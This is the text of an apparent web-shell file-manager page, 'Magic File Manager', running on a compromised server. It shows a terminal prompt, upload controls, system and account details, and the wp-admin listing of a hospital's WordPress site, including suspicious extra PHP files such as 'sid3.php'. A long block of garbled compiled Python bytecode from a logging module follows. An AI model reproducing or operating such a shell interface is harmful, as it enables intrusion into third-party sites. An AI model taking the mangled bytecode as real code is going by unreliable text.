✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in/wp-admin
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� css--drwxr-xr-x
� images--drwxr-xr-x
� includes--drwxr-xr-x
� js--drwxr-xr-x
� maint--drwxr-xr-x
� network--drwxr-xr-x
� user--drwxr-xr-x
� about.php17.572 KB-rw-r--r--
� admin-ajax.php5.025 KB-rw-r--r--
� admin-footer.php2.738 KB-rw-r--r--
� admin-functions.php0.461 KB-rw-r--r--
� admin-header.php9.066 KB-rw-r--r--
� admin-post.php1.974 KB-rw-r--r--
� admin.php12.632 KB-rw-r--r--
� async-upload.php5.473 KB-rw-r--r--
� authorize-application.php10.093 KB-rw-r--r--
� comment.php11.37 KB-rw-r--r--
� contribute.php5.523 KB-rw-r--r--
� credits.php4.044 KB-rw-r--r--
� custom-background.php0.471 KB-rw-r--r--
� custom-header.php0.48 KB-rw-r--r--
� customize.php11.314 KB-rw-r--r--
� edit-comments.php14.145 KB-rw-r--r--
� edit-form-advanced.php28.79 KB-rw-r--r--
� edit-form-blocks.php15.164 KB-rw-r--r--
� edit-form-comment.php13.652 KB-rw-r--r--
� edit-link-form.php6.198 KB-rw-r--r--
� edit-tag-form.php10.408 KB-rw-r--r--
� edit-tags.php21.982 KB-rw-r--r--
� edit.php19.484 KB-rw-r--r--
� erase-personal-data.php7.329 KB-rw-r--r--
📄 error_log9.984 KB-rw-r--r--
� export-personal-data.php7.754 KB-rw-r--r--
� export.php11.001 KB-rw-r--r--
� font-library.php1.445 KB-rw-r--r--
� freedoms.php4.467 KB-rw-r--r--
� import.php7.584 KB-rw-r--r--
� index.php7.68 KB-rw-r--r--
� install-helper.php6.798 KB-rw-r--r--
� install.php17.944 KB-rw-r--r--
� link-add.php0.912 KB-rw-r--r--
� link-manager.php4.259 KB-rw-r--r--
� link-parse-opml.php2.657 KB-rw-r--r--
� link.php2.888 KB-rw-r--r--
� load-scripts.php2.021 KB-rw-r--r--
� load-styles.php2.925 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� media-new.php3.173 KB-rw-r--r--
� media-upload.php3.582 KB-rw-r--r--
� media.php0.8 KB-rw-r--r--
� menu-header.php9.816 KB-rw-r--r--
� menu.php17.709 KB-rw-r--r--
� moderation.php0.3 KB-rw-r--r--
� ms-admin.php0.191 KB-rw-r--r--
� ms-delete-site.php4.505 KB-rw-r--r--
� ms-edit.php0.211 KB-rw-r--r--
� ms-options.php0.224 KB-rw-r--r--
� ms-sites.php0.21 KB-rw-r--r--
� ms-themes.php0.212 KB-rw-r--r--
� ms-upgrade-network.php0.214 KB-rw-r--r--
� ms-users.php0.21 KB-rw-r--r--
� my-sites.php4.718 KB-rw-r--r--
� nav-menus.php49.022 KB-rw-r--r--
� network.php5.394 KB-rw-r--r--
� options-connectors.php1.507 KB-rw-r--r--
� options-discussion.php16.019 KB-rw-r--r--
� options-general.php22.319 KB-rw-r--r--
� options-head.php0.6 KB-rw-r--r--
� options-media.php6.484 KB-rw-r--r--
� options-permalink.php21.964 KB-rw-r--r--
� options-privacy.php10.453 KB-rw-r--r--
� options-reading.php9.959 KB-rw-r--r--
� options-writing.php9.184 KB-rw-r--r--
� options.php13.932 KB-rw-r--r--
� plugin-editor.php13.741 KB-rw-r--r--
� plugin-install.php7.259 KB-rw-r--r--
� plugins.php30.023 KB-rw-r--r--
� post-new.php2.703 KB-rw-r--r--
� post.php10.567 KB-rw-r--r--
� press-this.php2.412 KB-rw-r--r--
� privacy-policy-guide.php3.668 KB-rw-r--r--
� privacy.php2.453 KB-rw-r--r--
� profile.php0.276 KB-rw-r--r--
� revision.php5.699 KB-rw-r--r--
� setup-config.php17.508 KB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� site-editor.php12.19 KB-rw-r--r--
� site-health-info.php4.075 KB-rw-r--r--
� site-health.php10.183 KB-rw-r--r--
� term.php2.196 KB-rw-r--r--
� theme-editor.php16.874 KB-rw-r--r--
� theme-install.php23.745 KB-rw-r--r--
� themes.php48.563 KB-rw-r--r--
� tools.php3.432 KB-rw-r--r--
� update-core.php45.119 KB-rw-r--r--
� update.php12.756 KB-rw-r--r--
� upgrade-functions.php0.333 KB-rw-r--r--
� upgrade.php6.24 KB-rw-r--r--
� upload.php14.934 KB-rw-r--r--
� user-edit.php40.863 KB-rw-r--r--
� user-new.php24.086 KB-rw-r--r--
� users.php25.096 KB-rw-r--r--
� widgets-form-blocks.php5.112 KB-rw-r--r--
� widgets-form.php19.129 KB-rw-r--r--
� widgets.php1.086 KB-rw-r--r--
3 \ÐŒã @stdZddlZddlZddlZddlZddlZddlZddlZddlZyddl Z ddl Z Wne k rpdZ YnXddl mZmZdZejZdad+dd„Zdd „Zd d „Zd d „Zdd„Zdd„Zdd„Zdd„ZejdejƒZdd„ZGdd„de ƒZ!Gdd„de"e!ƒZ#Gdd„de$e!ƒZ%Gdd „d e&e!ƒZ'Gd!d"„d"e ƒZ(Gd#d$„d$e(ƒZ)e)Z*d%d&„Z+edfd'd(„Z,d)d*„Z-dS),a Configuration functions for the logging package for Python. The core package is based on PEP 282 and comments thereto in comp.lang.python, and influenced by Apache's log4j system. Copyright (C) 2001-2014 Vinay Sajip. All Rights Reserved. To use, simply 'import logging' and log away! éN)ÚThreadingTCPServerÚStreamRequestHandleriF#Tc Cs„ddl}t||jƒr|}n*|j|ƒ}t|dƒr:|j|ƒn |j|ƒt|ƒ}tj ƒz t ƒt ||ƒ}t |||ƒWdtj ƒXdS)aD Read the logging configuration from a ConfigParser-format file. This can be called several times from an application, allowing an end user the ability to select from various pre-canned configurations (if the developer provides a mechanism to present the choices and load the chosen configuration). rNÚreadline)Ú configparserÚ isinstanceZRawConfigParserZ ConfigParserÚhasattrZ read_fileÚreadÚ_create_formattersÚloggingÚ _acquireLockÚ_clearExistingHandlersÚ_install_handlersÚ_install_loggersÚ _releaseLock)ZfnameZdefaultsÚdisable_existing_loggersrÚcpÚ formattersÚhandlers©rú&/usr/lib64/python3.6/logging/config.pyÚ fileConfig8s       rc Csp|jdƒ}|jdƒ}t|ƒ}xN|D]F}|d|}yt||ƒ}Wq"tk rft|ƒt||ƒ}Yq"Xq"W|S)z)Resolve a dotted name to a global object.Ú.r)ÚsplitÚpopÚ __import__ÚgetattrÚAttributeError)ÚnameÚusedÚfoundÚnrrrÚ_resolveZs    r!cCstdd„|ƒS)NcSs|jƒS)N)Ústrip)ÚxrrrÚisz_strip_spaces..)Úmap)ZalistrrrÚ _strip_spaceshsr&c Cs²|dd}t|ƒsiS|jdƒ}t|ƒ}i}x~|D]v}d|}|j|dddd�}|j|d ddd�}|j|d dd d�}tj}||jd ƒ} | r–t| ƒ}||||ƒ} | ||<q4W|S) zCreate and return formattersrÚkeysú,z formatter_%sÚformatTN)ÚrawÚfallbackÚdatefmtÚstyleú%Úclass)Úlenrr&Úgetr Ú Formatterr!) rZflistrZformZsectnameZfsZdfsZstlÚcÚ class_nameÚfrrrr ks$     r c CsD|dd}t|ƒsiS|jdƒ}t|ƒ}i}g}xê|D]â}|d|}|d}|jddƒ}yt|ttƒƒ}Wn ttfk rŽt |ƒ}YnX|d} t| ttƒƒ} || Ž} d |krÈ|d } | j | ƒt|ƒrÞ| j ||ƒt |tj jƒ�r|jd dƒ} t| ƒ�r|j| | fƒ| ||<q8Wx |D]\} } | j|| ƒ�q$W|S) zInstall and return handlersrr'r(z handler_%sr/Ú formatterÚÚargsÚlevelÚtarget)r0rr&r1ÚevalÚvarsr rÚ NameErrorr!ÚsetLevelÚ setFormatterÚ issubclassrÚ MemoryHandlerÚappendZ setTarget)rrÚhlistrZfixupsÚhandÚsectionÚklassÚfmtr8Úhr9r:Útrrrr �s>         r cCsHtj}x<|D]4}|jj|}||kr:tj|_g|_d|_q ||_q WdS)aå When (re)configuring logging, handle loggers which were in the previous configuration but are not in the new configuration. There's no point deleting them as other threads may continue to hold references to them; and by disabling them, you stop them doing any logging. However, don't disable children of named loggers, as that's probably not what was intended by the user. Also, allow existing loggers to NOT be disabled if disable_existing is false. TN) r ÚrootÚmanagerÚ loggerDictZNOTSETr9rÚ propagateÚdisabled)ÚexistingÚ child_loggersÚdisable_existingrJÚlogÚloggerrrrÚ_handle_existing_loggers¤s   rTcCs,|dd}|jdƒ}ttdd„|ƒƒ}|jdƒ|d}tj}|}d|kr^|d}|j|ƒx |jd d …D]}|j|ƒqnW|d } t | ƒr¾| jdƒ} t | ƒ} x| D]} |j || ƒq¨Wt|j j jƒƒ} | jƒg} �x>|D�]4}|d |}|d } |jd dd�}tj| ƒ}| | k�rŒ| j| ƒd}| d}t |ƒ}t | ƒ}x<||k�r€| |d |…|k�rt| j| |ƒ|d7}�qFW| j| ƒd|k�r¨|d}|j|ƒx"|jd d …D]}|j|ƒ�q¸W||_d|_|d } t | ƒrâ| jdƒ} t | ƒ} x| D]} |j || ƒ�qWqâWt| | |ƒd S)zCreate and install loggersÚloggersr'r(cSs|jƒS)N)r")r#rrrr$¿sz"_install_loggers..rJZ logger_rootr9Nrz logger_%sÚqualnamerMé)r+rr)rÚlistr%Úremover rJr>rÚ removeHandlerr0r&Ú addHandlerrKrLr'ÚsortZgetintÚ getLoggerÚindexrBrMrNrT)rrrQZllistrErJrRr9rHrCrDrOrPZqnrMrSÚiÚprefixedÚpflenÚ num_existingrrrr¹sd                rcCs.tjjƒtjtjdd…ƒtjdd…=dS)z!Clear and close existing handlersN)r Ú _handlersÚclearZshutdownZ _handlerListrrrrr s r z^[a-z_][a-z0-9_]*$cCstj|ƒ}|std|ƒ‚dS)Nz!Not a valid Python identifier: %rT)Ú IDENTIFIERÚmatchÚ ValueError)ÚsÚmrrrÚ valid_idents  rjc@s"eZdZdZddd„Zdd„ZdS) ÚConvertingMixinz?For ConvertingXXX's, this mixin class provides common functionsTcCsB|jj|ƒ}||k r>|r |||<t|ƒtttfkr>||_||_|S)N)Ú configuratorÚconvertÚtypeÚConvertingDictÚConvertingListÚConvertingTupleÚparentÚkey)ÚselfrsÚvalueÚreplaceÚresultrrrÚconvert_with_key$s  z ConvertingMixin.convert_with_keycCs0|jj|ƒ}||k r,t|ƒtttfkr,||_|S)N)rlrmrnrorprqrr)rtrurwrrrrm0s   zConvertingMixin.convertN)T)Ú__name__Ú __module__Ú __qualname__Ú__doc__rxrmrrrrrk!s rkc@s,eZdZdZdd„Zd dd„Zd dd„ZdS) roz A converting dictionary wrapper.cCstj||ƒ}|j||ƒS)N)ÚdictÚ __getitem__rx)rtrsrurrrr~Es zConvertingDict.__getitem__NcCstj|||ƒ}|j||ƒS)N)r}r1rx)rtrsÚdefaultrurrrr1IszConvertingDict.getcCstj|||ƒ}|j||dd�S)NF)rv)r}rrx)rtrsrrurrrrMszConvertingDict.pop)N)N)ryrzr{r|r~r1rrrrrroBs roc@s"eZdZdZdd„Zd dd„ZdS) rpzA converting list wrapper.cCstj||ƒ}|j||ƒS)N)rXr~rx)rtrsrurrrr~Ss zConvertingList.__getitem__rWcCstj||ƒ}|j|ƒS)N)rXrrm)rtÚidxrurrrrWs zConvertingList.popNéÿÿÿÿ)r�)ryrzr{r|r~rrrrrrpQsrpc@seZdZdZdd„ZdS)rqzA converting tuple wrapper.cCstj||ƒ}|j||dd�S)NF)rv)Útupler~rx)rtrsrurrrr~]s zConvertingTuple.__getitem__N)ryrzr{r|r~rrrrrq[srqc@sŒeZdZdZejdƒZejdƒZejdƒZejdƒZ ejdƒZ ddd œZ e e ƒZd d „Zd d „Zdd„Zdd„Zdd„Zdd„Zdd„ZdS)ÚBaseConfiguratorzI The configurator base class which defines some useful defaults. z%^(?P[a-z]+)://(?P.*)$z ^\s*(\w+)\s*z^\.\s*(\w+)\s*z^\[\s*(\w+)\s*\]\s*z^\d+$Ú ext_convertÚ cfg_convert)ZextZcfgcCst|ƒ|_||j_dS)N)roÚconfigrl)rtr†rrrÚ__init__vs zBaseConfigurator.__init__c CsÄ|jdƒ}|jdƒ}y`|j|ƒ}xP|D]H}|d|7}yt||ƒ}Wq&tk rl|j|ƒt||ƒ}Yq&Xq&W|Stk r¾tjƒdd…\}}td||fƒ}|||_ |_ |‚YnXdS)z` Resolve strings to objects using standard import and attribute syntax. rrrWNzCannot resolve %r: %s) rrÚimporterrrÚ ImportErrorÚsysÚexc_inforgÚ __cause__Ú __traceback__) rtrhrrrZfragÚeÚtbÚvrrrÚresolvezs"      zBaseConfigurator.resolvecCs |j|ƒS)z*Default converter for the ext:// protocol.)r‘)rtrurrrr„‘szBaseConfigurator.ext_convertc Cs|}|jj|ƒ}|dkr&td|ƒ‚nØ||jƒd…}|j|jƒd}x´|rü|jj|ƒ}|rp||jƒd}nd|jj|ƒ}|rÔ|jƒd}|jj|ƒs¢||}n2yt |ƒ}||}Wnt k rÒ||}YnX|rê||jƒd…}qJtd||fƒ‚qJW|S)z*Default converter for the cfg:// protocol.NzUnable to convert %rrzUnable to convert %r at %r) Ú WORD_PATTERNrfrgÚendr†ÚgroupsÚ DOT_PATTERNÚ INDEX_PATTERNÚ DIGIT_PATTERNÚintÚ TypeError)rtruÚrestriÚdr€r rrrr…•s2       zBaseConfigurator.cfg_convertcCsÌt|tƒ r&t|tƒr&t|ƒ}||_n¢t|tƒ rLt|tƒrLt|ƒ}||_n|t|tƒ rrt|tƒrrt|ƒ}||_nVt|tƒrÈ|j j |ƒ}|rÈ|j ƒ}|d}|j j |dƒ}|rÈ|d}t||ƒ}||ƒ}|S)zé Convert values to an appropriate type. dicts, lists and tuples are replaced by their converting alternatives. Strings are checked to see if they have a conversion format and are converted if they do. ÚprefixNÚsuffix)rror}rlrprXrqr‚ÚstrÚCONVERT_PATTERNrfÚ groupdictÚvalue_convertersr1r)rtrurir›rœZ converterr�rrrrm·s*     zBaseConfigurator.convertcsrˆjdƒ}t|ƒs|j|ƒ}ˆjddƒ}t‡fdd„ˆDƒƒ}|f|Ž}|rnx |jƒD]\}}t|||ƒqVW|S)z1Configure an object with a user-supplied factory.z()rNcs g|]}t|ƒr|ˆ|f‘qSr)rj)Ú.0Úk)r†rrú Úsz5BaseConfigurator.configure_custom..)rÚcallabler‘r}ÚitemsÚsetattr)rtr†r3ÚpropsÚkwargsrwrrur)r†rÚconfigure_customÓs    z!BaseConfigurator.configure_customcCst|tƒrt|ƒ}|S)z0Utility function which converts lists to tuples.)rrXr‚)rtrurrrÚas_tupleás zBaseConfigurator.as_tupleN)ryrzr{r|ÚreÚcompilerŸr’r•r–r—r¡Ú staticmethodrrˆr‡r‘r„r…rmrªr«rrrrrƒbs      "rƒc@s^eZdZdZdd„Zdd„Zdd„Zdd „Zd d „Zd d „Z ddd„Z ddd„Z ddd„Z dS)ÚDictConfiguratorz] Configure logging using a dictionary-like object to describe the configuration. cCsü|j}d|krtdƒ‚|ddkr2td|dƒ‚|jddƒ}i}tjƒ�z |�r°|jd|ƒ}xŽ|D]†}|tjkr‚td|ƒ‚qfy6tj|}||}|jd d ƒ}|r¶|jtj|ƒƒWqft k rê} ztd || fƒ‚WYd d } ~ XqfXqfW|jd |ƒ} xZ| D]R}y|j || |d ƒWn4t k �rP} ztd|| fƒ‚WYd d } ~ XnX�qW|jdd ƒ} | �rêy|j | d ƒWn0t k �rª} ztd| ƒ‚WYd d } ~ XnX�n:|jdd ƒ} t ƒ|jd|ƒ} xZ| D]R}y|j | |ƒ| |<Wn4t k �r"} ztd|| fƒ‚WYd d } ~ XnX�qÔW|jd|ƒ}xZ|D]R}y|j||ƒ||<Wn4t k �rŠ} ztd|| fƒ‚WYd d } ~ XnX�qÚ _checkLevelÚ ExceptionÚconfigure_loggerÚconfigure_rootr Úconfigure_formatterÚconfigure_filterÚsortedÚconfigure_handlerrržrBrJrXrKrLr'r\r^r0rYrTr)rtr†r±Z EMPTY_DICTrrÚhandlerZhandler_configr9rŽrUrJrQrr²ZdeferredrOrPr_r`rarbrrrÚ configureísÔ        "  $    $  $   $  $      $ zDictConfigurator.configurec CsÆd|krr|d}y|j|ƒ}WqÂtk rn}z4dt|ƒkr>‚|jdƒ|d<||d<|j|ƒ}WYdd}~XqÂXnP|jddƒ}|jddƒ}|jddƒ}|jd dƒ}|s®tj} nt|ƒ} | |||ƒ}|S) z(Configure a formatter from a dictionary.z()z'format'r)rGNr,r-r.r/)rªr™ržrr1r r2r!) rtr†ÚfactoryrwÚterGZdfmtr-Úcnamer3rrrr·‹s&      z$DictConfigurator.configure_formattercCs.d|kr|j|ƒ}n|jddƒ}tj|ƒ}|S)z%Configure a filter from a dictionary.z()rr7)rªr1r ZFilter)rtr†rwrrrrr¸§s    z!DictConfigurator.configure_filtercCs^xX|D]P}y|j|jd|ƒWqtk rT}ztd||fƒ‚WYdd}~XqXqWdS)z/Add filters to a filterer from a list of names.r²zUnable to add filter %r: %sN)Z addFilterr†r´rg)rtZfiltererr²r5rŽrrrÚ add_filters°s  zDictConfigurator.add_filtersc/sŽtˆƒ}ˆjddƒ}|r^y|jd|}Wn2tk r\}ztd||fƒ‚WYdd}~XnXˆjddƒ}ˆjddƒ}dˆkr¢ˆjdƒ}t|ƒsš|j|ƒ}|}�nˆjdƒ} |j| ƒ} t| tj j ƒoÊd ˆk�rHy>|jd ˆd } t | tj ƒ�sˆj |ƒtd ƒ‚| ˆd <Wn8tk �rD}ztd ˆd |fƒ‚WYdd}~XnXnZt| tj jƒ�rvd ˆk�rv|jˆd ƒˆd <n,t| tj jƒ�r¢dˆk�r¢|jˆdƒˆd<| }ˆjddƒ} t‡fdd„ˆDƒƒ} y|f| Ž}WnLtk �r"}z.dt|ƒk�rú‚| jdƒ| d<|f| Ž}WYdd}~XnX|�r4|j|ƒ|dk �rN|jtj|ƒƒ|�r`|j||ƒ| �rŠx"| jƒD]\}}t|||ƒ�qpW|S)z&Configure a handler from a dictionary.r6NrzUnable to set formatter %r: %sr9r²z()r/r:rztarget not configured yetz#Unable to set target handler %r: %sZmailhostZaddressrcs g|]}t|ƒr|ˆ|f‘qSr)rj)r¢r£)r†rrr¤àsz6DictConfigurator.configure_handler..z'stream'ÚstreamZstrm)r}rr†r´rgr¥r‘r@r rrArZHandlerÚupdater™Z SMTPHandlerr«Z SysLogHandlerržr?r>r³rÀr¦r§)rtr†Z config_copyr6rŽr9r²r3r½r¿rFZthr¨r©rwr¾rrur)r†rrº¸sl          $      z"DictConfigurator.configure_handlercCs^xX|D]P}y|j|jd|ƒWqtk rT}ztd||fƒ‚WYdd}~XqXqWdS)z.Add handlers to a logger from a list of names.rzUnable to add handler %r: %sN)r[r†r´rg)rtrSrrHrŽrrrÚ add_handlers÷s  zDictConfigurator.add_handlersFcCs†|jddƒ}|dk r$|jtj|ƒƒ|s‚x |jdd…D]}|j|ƒq8W|jddƒ}|rf|j||ƒ|jddƒ}|r‚|j||ƒdS)zU Perform configuration which is common to root and non-root loggers. r9Nrr²)r1r>r r³rrZrÃrÀ)rtrSr†r±r9rHrr²rrrÚcommon_logger_configÿs    z%DictConfigurator.common_logger_configcCs6tj|ƒ}|j|||ƒ|jddƒ}|dk r2||_dS)z.Configure a non-root logger from a dictionary.rMN)r r]rÄr1rM)rtrr†r±rSrMrrrrµs   z!DictConfigurator.configure_loggercCstjƒ}|j|||ƒdS)z*Configure a root logger from a dictionary.N)r r]rÄ)rtr†r±rJrrrr¶szDictConfigurator.configure_rootN)F)F)F) ryrzr{r|r¼r·r¸rÀrºrÃrÄrµr¶rrrrr¯çs ?  r¯cCst|ƒjƒdS)z%Configure logging using a dictionary.N)ÚdictConfigClassr¼)r†rrrÚ dictConfig srÆcsPts tdƒ‚Gdd„dtƒ}Gdd„dtƒ}G‡fdd„dtjƒ‰ˆ||||ƒS)au Start up a socket server on the specified port, and listen for new configurations. These will be sent as a file suitable for processing by fileConfig(). Returns a Thread object on which you can call start() to start the server, and which you can join() when appropriate. To stop the server, call stopListening(). Use the ``verify`` argument to verify any bytes received across the wire from a client. If specified, it should be a callable which receives a single argument - the bytes of configuration data received across the network - and it should return either ``None``, to indicate that the passed in bytes could not be verified and should be discarded, or a byte string which is then passed to the configuration machinery as normal. Note that you can return transformed bytes, e.g. by decrypting the bytes passed in. z listen() needs threading to workc@seZdZdZdd„ZdS)z#listen..ConfigStreamHandlerz¤ Handler for a logging configuration request. It expects a completely new logging configuration and uses fileConfig to install it. cSs\�y"|j}|jdƒ}t|ƒdk�r"tjd|ƒd}|jj|ƒ}x&t|ƒ|krd||j|t|ƒƒ}q@W|jjdk r~|jj|ƒ}|dk �r |jdƒ}y,ddl}|j |ƒ}t |t ƒs´t ‚t |ƒWnLtk �r tj|ƒ}y t|ƒWntk �rtjƒYnXYnX|jj�r"|jjjƒWn2tk �rV}z|jtk�rF‚WYdd}~XnXdS)zè Handle a request. Each request is expected to be a 4-byte length, packed using struct.pack(">L", n), followed by the config file. Uses fileConfig() to do the grunt work. éz>LrNzutf-8)Z connectionZrecvr0ÚstructZunpackÚserverÚverifyÚdecodeÚjsonÚloadsrr}ÚAssertionErrorrÆr´ÚioÚStringIOrÚ tracebackÚ print_excÚreadyÚsetÚOSErrorÚerrnoÚ RESET_ERROR)rtZconnÚchunkZslenrÌr›ÚfilerŽrrrÚhandleBs8            z*listen..ConfigStreamHandler.handleN)ryrzr{r|rÚrrrrÚConfigStreamHandler;srÛc@s0eZdZdZdZdedddfdd„Zdd„ZdS) z$listen..ConfigSocketReceiverzD A simple TCP socket-based logging config receiver. rWZ localhostNcSs>tj|||f|ƒtjƒd|_tjƒd|_||_||_dS)NrrW) rr‡r r ÚabortrÚtimeoutrÓrÊ)rtÚhostÚportr»rÓrÊrrrr‡psz-listen..ConfigSocketReceiver.__init__cSsfddl}d}xJ|sV|j|jjƒggg|jƒ\}}}|r>|jƒtjƒ|j}tjƒqW|jj ƒdS)Nr) ÚselectZsocketÚfilenorÝZhandle_requestr r rÜrÚclose)rtràrÜZrdÚwrZexrrrÚserve_until_stoppedzs z8listen..ConfigSocketReceiver.serve_until_stopped)ryrzr{r|Zallow_reuse_addressÚDEFAULT_LOGGING_CONFIG_PORTr‡rärrrrÚConfigSocketReceiveris  ræcs&eZdZ‡‡fdd„Zdd„Z‡ZS)zlisten..Servercs4tˆ|ƒjƒ||_||_||_||_tjƒ|_dS)N) Úsuperr‡ÚrcvrÚhdlrrßrÊÚ threadingZEventrÓ)rtrèrérßrÊ)ÚServerÚ __class__rrr‡Šs zlisten..Server.__init__cSsZ|j|j|j|j|jd�}|jdkr0|jd|_|jjƒtjƒ|a tj ƒ|j ƒdS)N)rßr»rÓrÊrrW) rèrßrérÓrÊZserver_addressrÔr r Ú _listenerrrä)rtrÉrrrÚrun’s     zlisten..Server.run)ryrzr{r‡rîÚ __classcell__r)rë)rìrrëˆsrë)ÚthreadÚNotImplementedErrorrrrêZThread)rßrÊrÛrær)rërÚlisten%s .ròc Cs*tjƒztrdt_daWdtjƒXdS)zN Stop the listening server which was created with a call to listen(). rWN)r r rírÜrrrrrÚ stopListening¡s ró)NT).r|rÖrÏr Zlogging.handlersr¬rÈrŠrÑÚ_threadrðrêr‰Z socketserverrrråZ ECONNRESETr×rírr!r&r r rTrr r­ÚIrerjÚobjectrkr}rorXrpr‚rqrƒr¯rÅrÆròrórrrrÚsP   "#W! 9|